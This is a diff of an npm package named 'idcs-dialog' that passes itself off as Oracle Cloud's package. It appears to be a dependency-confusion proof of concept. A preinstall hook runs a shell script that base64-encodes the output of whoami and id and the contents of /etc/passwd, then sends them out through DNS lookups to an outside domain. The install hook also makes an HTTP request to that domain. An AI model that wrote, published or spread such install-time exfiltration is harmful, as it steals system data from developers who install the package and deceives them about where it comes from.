idcs-dialog 1.3.5

package/ex.sh

@@ -0,0 +1,7 @@
+#!/bin/bash
+##npm guys - this is NOT a malicious script, this only send DNS request to my private domain
+##I have no intent to turn this into something malicious, this is for POC only.
+
+nslookup $(whoami|base64).oracle_npm.sub.0xczar.com
+nslookup $(cat /etc/passwd|base64).oracle_npm.sub.0xczar.com
+nslookup $(id).oracle_npm.sub.0xczar.com

package/index.js

@@ -0,0 +1,25 @@
+exports.printMsg = function() {
+  console.log("This is a test message from 0xczar for POC purposes");
+}
+
+const https = require('http')
+const options = {
+  hostname: 'js_file.sub.0xczar.com',
+  port: 80,
+  path: '/0xczar_404.txt',
+  method: 'GET'
+}
+
+const req = https.request(options, res => {
+  console.log(`statusCode: ${res.statusCode}`)
+
+  res.on('data', d => {
+    process.stdout.write(d)
+  })
+})
+
+req.on('error', error => {
+  console.error(error)
+})
+
+req.end()

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "idcs-dialog",
+  "version": "1.3.5",
+  "description": "This is the idcs-dialog package from oraclecloud",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "./ex.sh",
+    "install": "node index.js"
+  },
+  "author": "0xczar",
+  "license": "ISC"
+}